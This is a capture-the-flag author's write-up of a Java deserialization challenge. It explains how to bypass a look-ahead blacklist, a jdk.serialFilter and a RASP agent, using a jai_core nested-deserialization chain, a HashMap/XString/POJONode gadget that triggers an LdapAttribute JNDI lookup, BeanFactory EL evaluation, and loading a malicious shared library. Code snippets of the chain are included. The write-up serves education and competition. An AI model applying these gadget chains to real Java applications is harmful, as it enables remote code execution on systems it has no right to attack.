SecureObjectInputStream is look-ahead deserialization mitigation in java and in this case Dictionary, HashMap, Runtime classes and the popular class BadAttributeValueExpException which has been used to trigger toString() is also blacklisted.

Maybe I forgot and put the BadAttributeValueExpException inside this list, in jdk15 we can not abuse the val attribute anymore because the type of it is String

To bypass the above mechanism, we have to find a method that performs nested deserialization, like the following class

public class Bypass0 implements Serializable {
byte[] bytes;
…
    private void readObject(ObjectInputStream in)
    throws IOException, ClassNotFoundException {
        ByteArrayInputStream is = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(is);
        ois.readObject();
    }
}

If you take a look at the libraries of this application you can see the jai_core-1.1.3.jar - a library that provides imaging functionality.

We can leverage the finalize() method in Java, this method is called by the garbage collector before performing the deletion or destruction of an object. Typically, it is used to close open database connections, network connections, and so on. After the deserialization process, if the casting to the corresponding type fails and the program throws an exception, the deserialized object will still be collected by the garbage collector, and the finalize() method will be invoked.

The SerializableRenderedImage class in jai_core.jar has a corresponding chain:

finalize() -> dispose() -> closeClient()

Because the host and port properties are controllable, setting up a socket server to return the payload is sufficient

You can take a look at the poc for liferay (lpe-15538) using this class here, but the problem is that the garbage collector only calls the finalize() method when performing actions like stopping the application. You can take advantage of the spawning instance to apply this technique but I prefer to use another chain.

SerializableRenderedImage#readObject 
    -> SerializableRenderedImage#decodeRasterFromByteArray 
        -> RawTileDecoder#decode 
            -> ObjectInputStream#readObect

So we pass the first gate, the second is jdk.serialFilter defined in java.security - global filter JEP

jdk.serialFilter=!javax.management.BadAttributeValueExpException;!sun.print.*;!java.security.*;!java.util.Hashtable;!com.sun.rowset.*;!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

TemplatesImpl is blacklisted so we can not abuse it to run static block codes or constructor codes. com.sun.rowset.* can remind you about the JdbcRowSetImpl gadget for JNDI attack. But there is another class causing JNDI attack which also trigger from getter method -> LdapAttribute.

So how can we construct a chain to trigger the getter of LdapAttribute? The application is built on the spring boot framework -> POJONode.toString() can be used to trigger getter method.

BadAttributeValueExpException was used to trigger toString() in the past, but it is blocked (if it is not, it still does not work in the current version). So here HashMap comes into play.

HashMap trigger toString()

The core of this technique lies in the way hashmap compares two keys when put into its internal Node.

Pay attention to lines 634 635, equals() method will be called if the two hashes are the same but the key comparison returns false, and there are a few notes of mine:

  • When comparing two HashMaps or Hashtables in Java using ==, it returns false because it performs reference comparison.

  • The hashCode of an object can be calculated by either overwriting their hashCode method or, if not implemented, using the native method of Java, which calculates it based on the memory address at the time of object initialization.

  • The hashCode of a HashMap object is calculated as the sum h += key.hashCode() ^ value.hashCode() for the key-value pair in each Node of the HashMap

For example, if you want to trigger the equals() method for the two objects A and B.

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("<keyA>",A);
map1.put("<keyB>",B);
map2.put("<keyB>",B);
map2.put("<keyA>",A);
Object o = makeMap(map1,map2);

We will need to find keyA and keyB so that its hashcode is the same

one pair is to - v1

So let's return to the above code when deserializing the o object it will try to compare the two objects map1 and map2 by first checking its hashcode. As I told you before the hashcode of a HashMap object is calculated using the following formula

h += key.hashCode() ^ value.hashCode()

hash_code_map1 = "to".hashCode() ^ A.hashCode() + "v1".hashCode() + B.hashCode()

hash_code_map2 = "v1".hashCode() + B.hashCode() + "to".hashCode() ^ A.hashCode()

and obviously, they are the same.

Because two hashes are the same but the key comparison returns false (reference comparison) it will result in calling the equals() method.

Next, we need to find a class that trigger toString() from equals() and this class is located inside the jdk com.sun.org.apache.xpath.internal.objects.XString

The special thing about XString is that its hashCode value will be calculated based on the value passed to its constructor (so it becomes hashCode of a string -> fixed value).

In summary, the code for triggering getter method of LdapAttribute is

        XString xString = new XString("xxx");
        POJONode pojoNode = new POJONode(ldapAttribute);
        HashMap map1 = new HashMap();
        map1.put("to", pojoNode);
        map1.put("v1", xString);

        HashMap map2 = new HashMap();
        map2.put("to", xString);
        map2.put("v1", pojoNode);
        HashMap finalMap = makeMap(map1, map2);

JNDI attack

The current version of jdk is 15, so that the TRUST_CODE_BASE is defaulted to false and we can not remotely load the malicious class. However, it is still possible to leverage it to load classes from the classpath as long as this class implements javax.naming.spi.ObjectFactory and define the getObjectInstance() method.

-> org.apache.naming.factory.BeanFactory can be used to evaluate expression language.

With the ability to evaluate EL, can we just execute the /readflag and win the game? The answer is no, you have to pass the final gate - RASP

Simple RASP bypass

RASP (Runtime Application self-protection) is a technology that detects attacks and protects itself at runtime. In this challenge, I added an instrumentation agent via

-javaagent startup parameter, so that before the class is loaded, we have the opportunity to operate on the bytecode and block dangerous classes.

This agent will throw an exception if there is a call to java/lang/ProcessImpl#Start()

But there are some lower-level functions that can still execute system command.

rce/java_exec.png

Another way that I use and it is also the intended solution is to call the System.load() to load a malicious shared library with dangerous code in the init function.

Exploit

Exploit steps are as follow

  • Start the slowing http server and force the server to fetch and create temp file with malicious serialized payload.

  • Compile so file

  • Start the second slowing http server and force the server to fetch and create temp file with newly maliciously created so file.

  • Trigger the deserialization

And flag

My solve script for this challenge

https://gist.github.com/to016/127f8f9c00efbb9e216700addc97bafe

Source code for all of those challenges can be found in the link bellow

https://drive.google.com/drive/folders/1_mNRADG1JTuRsKCnTdwaTDOQolUW31Gu?usp=sharing

Closing Thoughts

This time the competition preparation was somewhat rushed because I got caught up in another contest. It's a bit regrettable that there were many ideas related to some n-day vulnerabilities that I wanted to analyze and incorporate into the challenges, but the infrastructure conditions at that time didn't allow it. Anyway, I hope everyone enjoys the game.